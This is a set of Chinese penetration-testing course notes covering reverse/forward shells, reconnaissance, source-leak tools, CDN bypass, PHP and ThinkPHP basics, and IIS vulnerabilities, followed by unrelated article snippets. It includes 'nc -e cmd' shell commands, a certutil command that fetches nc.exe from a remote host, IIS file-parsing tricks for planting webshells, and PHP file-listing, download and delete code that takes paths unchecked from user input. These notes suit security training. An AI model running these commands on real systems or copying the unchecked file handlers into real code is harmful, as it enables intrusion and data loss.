小迪安全v2023笔记 1-18
小迪安全v2023笔记 1-18
棱角社区
文章目录
- 1. 基础入门
- 1. 正向shell与反向shell
- 2. web应用
- 3. 抓包,封包,协议,app,小程序,pc应用,web应用
- 2. 信息打点
- 1. 常见信息获取
- 2. 文件泄露
- 3. 常见阻碍
- 4. CDN绕过,漏洞回链
- 5. app抓包,封包,xp框架,反编译
- 6. 红队工具篇
- 3. php应用
- 1. 文件操作
- 2. js中的ajax请求
- 3. thinkphp框架
- 1. 下载安装与基本使用
- 2. 新建控制器
- 3. 新建模块
- 4. 数据库操作
- 5. thinkphp查看漏洞
- 4.asp,IIS(过时)
1. 基础入门
POC:proof of concept,概念验证代码,用来证明漏洞存在。
EXP:exploit,利用漏洞进行攻击的动作。
Payload:有效载荷,指的是成功执行payload后,真正在目标系统执行的代码或指令。
Shellcode:shell代码,是payload的一种,由于其建立正向shell/反向shell而得名。
1. 正向shell与反向shell
防火墙出站宽松,入站严,入站一般要关防火墙。
b去连接a,对于a来说是入站,为反向shell。
a去连接b,对于a来说是出站,为正向shell。
a去连接b
b作为服务器监听
nc -lvvp 5566
a连接到服务器并完成正向shell
nc -e cmd 192.168.10.8 5566
有时候要让靶机执行命令,下载一个nc.exe。(目的文件名n.exe)
certutil.exe -urlcache -split -f http://www.xiaodi8.com:80/nc.exe n.exe

虚拟机连接主机,主机可以执行dir查看虚拟机目录。
2. web应用
开发语言
程序源码:应用类型分类,开源cms分类(比如wordpress),开发框架分类等。
中间件:iis,apache,nginx,tomcat,weblogic,jboos,glasshfish。
数据库:access,mysql,mssql,oracle,db2,sybase,redis,mongodb。
第三方软件:phpmyadmin,vs-ftpd,vnc,elk,openssh
常见漏洞:rce远程命令执行,xss跨站,csrf/ssrf/crlf,反序列化,越权,未授权访问,xxe/xml,sql。
3. 抓包,封包,协议,app,小程序,pc应用,web应用
安装雷电模拟器
app有web协议&小程序&pc抓包http/s数据-charles,fidder,burpsuite
程序进程&网络接口&其他协议-wireshark,科来网络分析系统、TCPDump(linux)。
通讯类应用封包分析发送接收-wpe四件套封包(apk->ccproxy->wpe监控cc进程)
需要给浏览器安装工具证书
封包能精确到每个操作的数据包。
2. 信息打点
www.baidu.com
顶级域名(一级域名):com
二级域名:baidu
三级域名:www
1. 常见信息获取
icp备案查询
查网站搭建(cms识别):云悉指纹
数据库常见端口
mysql 3306
mssql 1433
oracle 1521
redis 6379
sql server 1433
mongoDB 27017
RDP 远程桌面 3389
操作系统
大小写:linux对大小写敏感
TTL值:ping 127.0.0.1
- Windows NT/2000:TTL值为128。
- Windows 95/98:TTL值为32。
- UNIX:TTL值为255。
- Linux:TTL值为64。
- Windows 7:TTL值也为64。
2. 文件泄露
git泄露:githack
python githack.py http://127.0.0.1:80/.git/
svn泄露:svnhack
git clone https://github.com/callmefeifei/SvnHack.git 克隆到当前目录
python svnhack.py -u http://127.0.0.1:80/.svn/entries --download
ds_store 文件泄露
漏洞利用工具:ds_store_exp
python ds_store_exp.py http://127.0.0.1:80/.DS_Store
php的composer.json泄露
/composer.json
3. 常见阻碍
站库分离:网站与数据库分离,数据库为远程数据库
CDN加速:CDN加速通过在全球各地分布的服务器网络上存储网站、应用程序和媒体文件的副本来实现加速效果。当用户请求访问某个网站或应用程序时,CDN会根据用户的地理位置和网络条件,将内容从离用户最近的服务器上提供,从而减少了延迟和加载时间。
负载均衡:分摊到多个操作单元上进行执行,可能拿到备用机的权限。
WAF应用防火墙:WAF检查每一个传入的数据包的内容来检测SQL注入、跨站点脚本、会话劫持、篡改参数或URL等类型的攻击。
主机防护防火墙:比如服务器安全狗。
CDN:内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输得更快、更稳定。
4. CDN绕过,漏洞回链
传统访问:用户访问域名->解析服务器IP->访问目标主机
普通CDN:用户访问域名->CDN节点->真实服务器I->访问目标主机
带WAF的CDN:用户访问域名->CDN节点(WAF)->真实服务器IP->访问目标主机
CDN配置:
加速域名:需要启动加速的域名
加速区域:需要启动加速的地区
加速类型:需要启动加速的资源
nslookup baidu.com 多个ip
不同地方ping的ip不同
CDN绕过
服务器存在ssrf漏洞,会向你的网站发起请求,你的网站会记录访问的真实ip。
子域名没有cdn加速:比如只加速了www.xxx.com,test.xxx.com没加速。使用超级ping会发现子域名指向同一个ip。查sp910.com发现IP同一个。
接口查询国外访问:国外没cdn加速。
mx记录(邮件交换记录)或邮件没有cdn加速
主动邮件配合备案
常用网站
get-site-ip.com 不准确
备案查询
https://ping.chinaz.com/
常用工具
fuckcdn
通过本机的cmd获取本地访问该域名的ip地址并写入工具中,端口为80
CDN绑定
windows\system32\drivers\etc\hosts 域名指向修改文件
5. app抓包,封包,xp框架,反编译
外在抓包:比如burpsuite,fiddler等。
内在提取:源代码中提取。
appinfoscanner:对app里的url,ip地址,关键字进行采集
python3 app.py andriod -i ./test.apk
查壳工具:pkid
脱壳工具
andriod:xposed模块:dexdump,frida模块:frida-dexdump
ios:
frida模块:
windows使用:frida-ipa-dump
macOS使用:frida-ios-dump
6. 红队工具篇
fofa .so
shodan search engine
zoomeye.org 知道创宇
https://quake.360.net/quake/#/index
自动化项目
http://github.com/knownsec/Kunyu
https://github.com/0x727/ShuiZe_0x727
https://github.com/Aabyss-Team/ARL?tab=readme-ov-file 灯塔arl
单点项目
子域名 oneforall
企查查 enscan
指纹识别 finger
3. php应用
默认之前使用过phpstudy编写搭建网站。
1. 文件操作
php超级全局变量$_FILES
$_FILES["表单值"]["name"] 获取上传文件原始名称
$_FILES["表单值"]["type"] 获取上传文件MIME类型
$_FILES["表单值"]["size"] 获取上传文件字节单位大小
$_FILES["表单值"]["tmp_name"] 获取上传的临时副本文件名
$_FILES["表单值"]["error"] 获取上传时发生的错误代码
php目录访问
is_dir() 函数用于检查指定的路径是否是一个目录
opendir() 函数用于打开指定的目录,返回句柄,用来读取目录中的文件和子目录
readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录
open_basedir:PHP.INI中的设置用来控制脚本程序访问目录
ini_set('open_basedir',__DIR__); 设置配置文件中,只能访问本目录
文件显示
<?php
// 获取路径参数,如果未提供则默认为当前目录
$path = $_GET['path'] ? $_GET['path']: './';// 定义获取文件列表的函数
function getlist($path){$hd=opendir($path);$list=array();while(($file_name=readdir($hd))!==False){// 排除当前目录和父目录if ($file_name != '.' && $file_name != '..') {$file_path="$path/$file_name";// 构建文件完整路径$file_type=filetype($file_path);//$file_type为file或dir$list[$file_type][]=array('file_name' =>$file_name, // 文件名存储键值'file_path' => $file_path, // 文件路径存储键值'file_size' => round(filesize($file_path) / 1024), // 通过换算文件大小存储键值'file_time' => date('Y/m/d H:i:s',filemtime($file_path))// 获取文件时间并存储键值);}}// 关闭目录句柄closedir($hd);// 返回文件列表数组return $list;
}// 调用函数获取文件列表
$list = getlist($path);
print_r($list) ;
?>
文件上传+保存
jkloli目录
index.html
index.php
test.php
index.html
<!DOCTYPE html>
<head><meta charset="utf-8"><title>文件上传</title>
</head>
<body><form method="POST" action="test.php" enctype="multipart/form-data"><label for="file"><input type="file" name='file' id='file' accept=".txt"><br><input type="submit" value="上传文件"></form>
</body>
index.php
<?php
include_once('index.html');
test.php
php pathinfo函数
-
PATHINFO_DIRNAME: 目录路径
-
PATHINFO_BASENAME: 文件名,包含扩展名
-
PATHINFO_EXTENSION: 文件后缀名
-
PATHINFO_FILENAME: 不包含后缀的文件名
<?php
$uploadDir='./uploads';
if(!file_exists($uploadDir)){mkdir($uploadDir);//创建目录
}
if($_SERVER['REQUEST_METHOD']=='POST'&&isset($_FILES['file'])){$name=basename($_FILES['file']['name']);//basename去掉文件名前的路径$tmpname=$_FILES['file']['tmp_name'];$ext=pathinfo($name,PATHINFO_EXTENSION);//获取扩展名if(in_array($ext,['txt','md'])){if(move_uploaded_file($tmpname,$uploadDir."/$name")){echo"<script>alert('上传成功')</script>" ;}else{echo "上传失败";}}else{echo '文件类型不符合';}
}else{echo"没有上传";
}
文件下载与删除
通过修改http头实现
<?php
// 接受方法 判断是怎么操作
switch ($action){case 'del':unlink($file);// 如果操作为删除,则调用unlink函数删除指定文件break;case 'down':header("Content-Type: application/octet-stream");// 设置响应内容的类型为二进制流,告知浏览器这是一个文件下载header("Content-Disposition: attachment; filename=\"" .$file."\"");// 设置浏览器提示下载,并指定下载文件的名称(使用 $file 变量)header("Content-Length: " . filesize($file));// 设置响应内容的长度为文件大小,告知浏览器文件的实际大小readfile($file);// 读取并输出文件内容,将文件内容发送给浏览器break;
}
?>
2. js中的ajax请求
AJAX 技术通过在后台发送异步 HTTP 请求并接收响应,使得用户能够在不刷新整个页面的情况下获取更新后的数据。
js jquery库的ajax请求
请求->返回->读取返回的数据->js ajax代码进行解析->结果
php
请求->返回->返回结果
使用phpstudy搭建网站

test.php作为后端
<?php
if ($_SERVER['REQUEST_METHOD']=="POST") {if($_POST['name']=="张三"&&$_POST['age']=9000){echo json_encode(array("code"=>200,"infocode"=>1));}else{echo json_encode(array("code"=>200,"infocode"=>0));}}
index.html作为前端
<!DOCTYPE html>
<head><meta charset="utf-8"><title>jquery test</title><script src="./jquery-3.7.1.js">//引入jquery</script>
</head>
<body><script>$(document).ready(function() { // 确保DOM加载完成后再绑定事件$("button").on("click",function(){// 绑定button的点击事件$.ajax({type:"POST",url:"test.php",//localhost:80/jkloli/test.phpdataType:"json",data:{name:$('.name').val(),//使用类选择器获取输入框的值age:$('.age').val()},success:function(res){if(res.infocode==1){alert("验证成功");}else{alert("验证失败");}},error:function(jqXHR, textStatus, errorThrown){// 构建错误信息字符串 alert("失败: " + textStatus + ", " + errorThrown);}})});});</script><label for="name">name:</label><input type="text" id="name" class="name"><label for="age">age:</label><input type="text" id="age" class="age"><button>提交</button>
</body>

失败弹窗
失败: parsererror, SyntaxError: Unexpected end of JSON input
3. thinkphp框架
1. 下载安装与基本使用
在WWW目录下下载thinkphp框架
git clone -b 5.1 https://gitee.com/liu21st/thinkphp.git thinkphp5.1
cd thinkphp5.1
git clone -b 5.1 https://gitee.com/liu21st/framework.git thinkphp
thinkphp5.1对应php5.6

下面我们来看看它的结构

下面来访问一下sorry函数


它的url结构:http://serverName/index.php/模块/控制器/操作/[参数名/参数值...]
2. 新建控制器
在application/index/controller下新建cc.php
访问url:localhost/thinkphp5.1/public/index.php/index/cc/sayhi
<?php
namespace app\index\controller;
use think\Controller;
use think\Db;
class cc extends Controller
{public function sayhi(){return 'hi';}
}
3. 新建模块
将index/controller下的index.php复制到jkloli/controller目录里
修改命名空间为namespace app\jkloli\controller;
jkloli/controller目录下新建Jk.php
<?php
namespace app\jkloli\controller;
use think\Controller;
use think\Db;class Jk extends Controller
{public function cllsse(){echo 'cllsse';}
}
thinkphp很不稳定,路径有时候可以访问有时候不能访问。不能访问时,把phpstudy关了,过一会再开试试。

4. 数据库操作
我用的是mysql8.0
首先在navicat中修改root用户的插件为mysql_native_password,然后重新输入密码。
然后设置mysql的默认字符集为老版本的utf8,具体操作如下:
- 打开C:\Program Files\MySQL\MySQL Server 8.0\my.ini
- [mysqld]
character-set-server = utf8
default_authentication_plugin= mysql_native_password - 打开计算机管理,找到mysql80,关闭重启。若重启失败,尝试
netstat -ano |findstr :3306查看端口占用,taskkill /pid xxx -f。若端口没被占用则是my.ini的问题。
thinkphp开调试模式:/config/app.php里app_debug改为true。
找到/config/database.php,修改数据库配置信息。
修改Jk.php
<?php
namespace app\jkloli\controller;
use think\Controller;
use think\Db;class Jk extends Controller
{public function cllsse(){echo 'cllsse';}public function ss(){if(input('?get.id')&&input('?get.username')){//检查参数是否存在$id=input('get.id');$username=input('get.username');$data = db('t_user')->where("id",'=',$id)->where("username",'=',$username)<>不等于,exp表达式->select();print_r($data);}else{echo "请使用get请求:?id=xx&username=xx";}}
}

5. thinkphp查看漏洞
thinkphp看版本->看报错页面,看THINK_VERSION全局变量,看url地址构造
?m=Home&c=Index&a=func1
m模块,c控制器,a方法
然后通过版本找历史漏洞
https://github.com/mochazz/thinkphp-vuln?tab=readme-ov-file
4.asp,IIS(过时)
ACCESS数据库无管理帐号密码,顶级架构为表名,列名(字段),数据,所以在注入猜解中一般采用字典猜解表和列再获取数据,猜解简单但又可能出现猜解不到的情况,由于Access数据库在当前安全发展中已很少存在,故直接使用SQLMAP注入。
IIS短文件名漏洞
此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。
利用工具:
https://github.com/irsdl/IIS-ShortName-Scanner
https://github.com/lijiejie/IIS_shortname_Scanner
IIS文件解析
IIS 6 解析漏洞
- 该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析
- 该版本默认会将*.asp/目录下的所有文件当成Asp解析。
- 如:logo.asp;.jpg xx.asp/logo.jpg
IIS 7.x 解析漏洞
- 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
- 应用场景:配合文件上传获取Webshell
IIS写权限漏洞
IIS<=6.0 目录权限开启写入,开启WebDAV,设置为允许
参考利用:https://cloud.tencent.com/developer/article/2050105
http options请求获取服务器允许的 http 方法
put请求向服务器添加文件
move请求将文件改名
相关文章:
小迪安全v2023笔记 1-18
小迪安全v2023笔记 1-18 棱角社区 文章目录 1. 基础入门1. 正向shell与反向shell2. web应用3. 抓包,封包,协议,app,小程序,pc应用,web应用 2. 信息打点1. 常见信息获取2. 文件泄露3. 常见阻碍4. CDN绕过&a…...
RabbitMQ WEB管理端介绍
页面功能概览 Overview(概述)Connections(连接)Channels(通道)Exchanges(交换器)Queues(队列)Admin(用户管理)。 1. Overview(概述) 主要分为三部分 1.1 Queued messages(所有队列的消息情况) Ready:待消费的消息总数Unacked:待应…...
三阶魔方公式详解及快速解法方法介绍
三阶魔方公式详解及快速解法方法介绍 大家好,我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编,也是冬天不穿秋裤,天冷也要风度的程序猿!今天我们来深入探讨三阶魔方的公式及其快速解法方法。无论是初学者还是已经…...
前端的拖拽和缩放(缩放以鼠标为中心)
效果: 拖拽和缩放(缩放以鼠标为中心) 代码具体实现如下: 但是有几个注意点 (1)为什么需要设置 transform-origin: 0 0; 缩放时以鼠标为中心进行缩放。这意味着需要手动计算缩放过程中元素的位移&#…...
【Vue】单向和双向数据绑定
在 Vue.js 中,数据绑定可以分为单向数据绑定和双向数据绑定两种类型。 单向数据绑定 单向数据绑定是指数据从模型流向视图,即数据的变化会自动反映到视图中,但视图中的变化不会自动反映回模型。Vue.js 中的单向数据绑定主要通过以下方式实现…...
HDFS学习
3.5 HDFS存储原理 3.5.1 冗余数据保存 作为一个分布式文件系统,为了保证系统的容错性和可用性,HDFS采用了多副本方式对数据进行冗余存储,通常一个数据块的多个副本会被分布到不同的数据节点上。 如图所示,数据块1被分别存放到…...
Winform使用HttpClient调用WebApi的基本用法
Winform程序调用WebApi的方式有很多,本文学习并记录采用HttpClient调用基于GET、POST请求的WebApi的基本方式。WebApi使用之前编写的检索环境检测数据的接口,如下图所示。 调用基于GET请求的无参数WebApi 创建HttpClient实例后调用GetStringAsync函数获…...
python–基础篇–正则表达式–是什么
文章目录 定义一:正则表达式就是记录文本规则的代码定义一:正则表达式是一个特殊的字符序列,用于判断一个字符串是否与我们所设定的字符序列是否匹配,也就是说检查一个字符串是否与某种模式匹配。初识 Python 正则表达式 定义一&a…...
15 个适用于企业的生成式 AI 用例
作者:来自 Elastic Jennifer Klinger 关于生成式人工智能及其能做什么(和不能做什么)有很多讨论。生成式人工智能(例如大型语言模型 - LLMs)利用从大量训练数据中学习到的模式和结构来创建原创内容,而无需存…...
若依框架中组件使用教程
...
秋招力扣刷题——数据流的中位数
一、题目要求 中位数是有序整数列表中的中间值。如果列表的大小是偶数,则没有中间值,中位数是两个中间值的平均值。 例如 arr [2,3,4] 的中位数是 3 。 例如 arr [2,3] 的中位数是 (2 3) / 2 2.5 。 实现 MedianFinder 类: MedianFinder() 初始化 …...
51单片机学习——LED功能一系列实现
目录 一、开发前准备 二、点亮LED 三、LED闪烁 四、LED流水灯 五、LED流水灯plus 一、开发前准备 开发工具软件 烧录软件 其次还需要一块51单片机学习开发板及原理图 keil创造project文件及开启生成.hex文件 二、点亮LED 看二位进制对照原理图; #include <…...
互联网大厂核心知识总结PDF资料
我们要敢于追求卓越,也能承认自己平庸,不要低估3,5,10年沉淀的威力 hi 大家好,我是大师兄,大厂工作特点是需要多方面的知识和技能。这种学习和积累一般人需要一段的时间,不太可能一蹴而就&…...
设计模式-状态模式和策略模式
1.状态模式 1.1定义 当一个对象的内在状态改变时允许根据当前状态作出不同的行为; 1.2 适用场景 (1)一个对象的行为取决于它的状态,并且它必须在运行时根据状态来决定其行为. (2)代码中包含了大量的与状态有关的条件语句,例如:一个操作含有庞大的多分值语句(if…...
Java NIO Buffer概念
针对每一种基本类型的 Buffer ,NIO 又根据 Buffer 背后的数据存储内存不同分为了:HeapBuffer,DirectBuffer,MappedBuffer。 HeapBuffer 顾名思义它背后的存储内存是在 JVM 堆中分配,在堆中分配一个数组用来存放 Buffe…...
Kubernetes在Java应用部署中的最佳实践
Kubernetes在Java应用部署中的最佳实践 大家好,我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编,也是冬天不穿秋裤,天冷也要风度的程序猿!今天我们将探讨如何在Java应用程序中使用Kubernetes进行最佳部署实践。K…...
IOS Swift 从入门到精通:@escaping 和PreferenceKey
@escaping 在Swift中,@escaping是一个属性关键字,用于标记闭包参数。当一个闭包在函数返回之后才被调用时,这个闭包被称为逃逸闭包(Escaping Closure)。使用@escaping关键字可以告诉Swift编译器,传递给函数的闭包可能会在函数执行完毕后被调用,因此它需要“逃逸”函数的…...
基于PHP技术的校园论坛设计的设计与实现-计算机毕业设计源码08586
摘 要 本项目旨在基于PHP技术设计与实现一个校园论坛系统,以提供一个功能丰富、用户友好的交流平台。该论坛系统将包括用户注册与登录、帖子发布与回复、个人信息管理等基本功能,并结合社交化特点,增强用户之间的互动性。通过利用PHP语言及其…...
开机弹窗缺失OpenCL.dll如何解决?分享5种靠谱的解决方法
在电脑使用过程中,我们可能会遇到一些错误提示,其中之一就是“开机提示找不到OpenCL.dll”。那么,这个错误提示到底是怎么回事呢?它又对电脑有什么影响?我们又该如何解决这个问题并预防OpenCL.dll再次丢失呢࿱…...
IIS 服务器安装SSL证书
IIS 服务器安装SSL证书 步骤一:准备好 SSL 证书 准备好.pfx 格式的证书文件。 步骤二:安装 SSL 证书 1、打开【开始】菜单,找到【管理工具】,打开【Internet 信息服务(IIS)管理器】。 2、单击服务器名…...
MPNet:旋转机械轻量化故障诊断模型详解python代码复现
目录 一、问题背景与挑战 二、MPNet核心架构 2.1 多分支特征融合模块(MBFM) 2.2 残差注意力金字塔模块(RAPM) 2.2.1 空间金字塔注意力(SPA) 2.2.2 金字塔残差块(PRBlock) 2.3 分类器设计 三、关键技术突破 3.1 多尺度特征融合 3.2 轻量化设计策略 3.3 抗噪声…...
3.3.1_1 检错编码(奇偶校验码)
从这节课开始,我们会探讨数据链路层的差错控制功能,差错控制功能的主要目标是要发现并且解决一个帧内部的位错误,我们需要使用特殊的编码技术去发现帧内部的位错误,当我们发现位错误之后,通常来说有两种解决方案。第一…...
【SpringBoot】100、SpringBoot中使用自定义注解+AOP实现参数自动解密
在实际项目中,用户注册、登录、修改密码等操作,都涉及到参数传输安全问题。所以我们需要在前端对账户、密码等敏感信息加密传输,在后端接收到数据后能自动解密。 1、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId...
解决Ubuntu22.04 VMware失败的问题 ubuntu入门之二十八
现象1 打开VMware失败 Ubuntu升级之后打开VMware上报需要安装vmmon和vmnet,点击确认后如下提示 最终上报fail 解决方法 内核升级导致,需要在新内核下重新下载编译安装 查看版本 $ vmware -v VMware Workstation 17.5.1 build-23298084$ lsb_release…...
剑指offer20_链表中环的入口节点
链表中环的入口节点 给定一个链表,若其中包含环,则输出环的入口节点。 若其中不包含环,则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...
Cinnamon修改面板小工具图标
Cinnamon开始菜单-CSDN博客 设置模块都是做好的,比GNOME简单得多! 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...
重启Eureka集群中的节点,对已经注册的服务有什么影响
先看答案,如果正确地操作,重启Eureka集群中的节点,对已经注册的服务影响非常小,甚至可以做到无感知。 但如果操作不当,可能会引发短暂的服务发现问题。 下面我们从Eureka的核心工作原理来详细分析这个问题。 Eureka的…...
2025季度云服务器排行榜
在全球云服务器市场,各厂商的排名和地位并非一成不变,而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势,对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析: 一、全球“三巨头”…...
mac 安装homebrew (nvm 及git)
mac 安装nvm 及git 万恶之源 mac 安装这些东西离不开Xcode。及homebrew 一、先说安装git步骤 通用: 方法一:使用 Homebrew 安装 Git(推荐) 步骤如下:打开终端(Terminal.app) 1.安装 Homebrew…...
4. TypeScript 类型推断与类型组合
一、类型推断 (一) 什么是类型推断 TypeScript 的类型推断会根据变量、函数返回值、对象和数组的赋值和使用方式,自动确定它们的类型。 这一特性减少了显式类型注解的需要,在保持类型安全的同时简化了代码。通过分析上下文和初始值,TypeSc…...
